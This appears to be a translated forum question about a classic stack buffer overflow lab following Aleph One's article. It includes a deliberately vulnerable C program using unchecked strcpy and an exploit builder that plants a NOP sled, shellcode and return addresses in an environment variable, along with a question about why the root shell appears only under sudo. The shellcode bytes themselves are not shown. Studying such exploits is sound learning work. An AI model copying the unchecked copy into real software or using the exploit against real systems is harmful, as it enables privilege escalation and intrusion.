我正在處理緩衝區溢出攻擊,如Aleph One的文章Smashing the Stack for Fun and Profit中所述。按照文章中的建議,我寫了一個將惡意代碼(shellcode)植入環境變量($ EGG)的程序(shellcode.c)。之後,$ EGG作爲參數傳遞給我想要攻擊的程序(vulnerable.c),導致該程序中的緩衝區溢出並導致執行shellcode。C緩衝區中的指令僅作爲sudo執行
這是緩衝區的樣子 -
[nnnnnnnnn爲... ... NNNNNNSSSSSSS ... SSSSSSSRRRRR RRRRRR]
其中N是NOP指令(見NOP sled),S是我的shellcode ,R是一個地址(返回到緩衝區的地址,它將導致指令指針從代碼段跳轉到上面的堆棧緩衝區並開始執行指令)。
當我以普通用戶的身份運行shellcode.c和vulnerable.c的可執行文件時,遇到以下問題 -當指令指針被重定向到緩衝區並遇到指令時,會導致分段錯誤。 然而,在執行程序sudo時,緩衝區中的指令沒有任何問題地執行,並且緩衝區中的後續shellcode被成功執行,從而啓動根終端從而完成利用。 任何人都可以闡明爲什麼會發生這種情況?
我已經禁用了以下保護 - 堆棧溢出,ASLR和的Linux的NX(病毒防護技術)。
我正在使用gcc 4.4.3(目標:i486-linux-gnu)編譯並在運行內核2.6.32的Ubuntu 10.04(Lucid Lynx)上執行。
以下是我的兩個節目:
vulnerable.c
int main(int argc, char** argv) {
char buffer[512];
if(argc>1)
strcpy(buffer,argv[1]);
return (EXIT_SUCCESS);
}
shellcode.c
int main(int argc,char** argv) {
char *buff, *ptr;
int *addr,retaddr;
int i;
int offset = DEFAULT_OFFSET;
int buffersize = DEFAULT_SIZE;
/* Set buffersize and predicted offset if arguments are supplied to the program
*/
if(argc>1)
buffersize = atoi(argv[1]);
if(argc>2)
offset = atoi(argv[2]);
if(!(buff=(char*)malloc(buffersize))) {
printf("Can't allocate memory!");
exit(1);
}
retaddr = getStackPointer() - offset;
printf("%d\n",strlen(shellcode));
printf("Using address: 0x%x\n",retaddr);
addr = (int *)buff;
for(i=0;i<buffersize;i+=4)
*(addr++) = retaddr;
for(i=0;i<buffersize/2;i++)
buff[i] = NOP;
ptr = buff + ((buffersize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];
buff[buffersize -1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
return (EXIT_SUCCESS);
}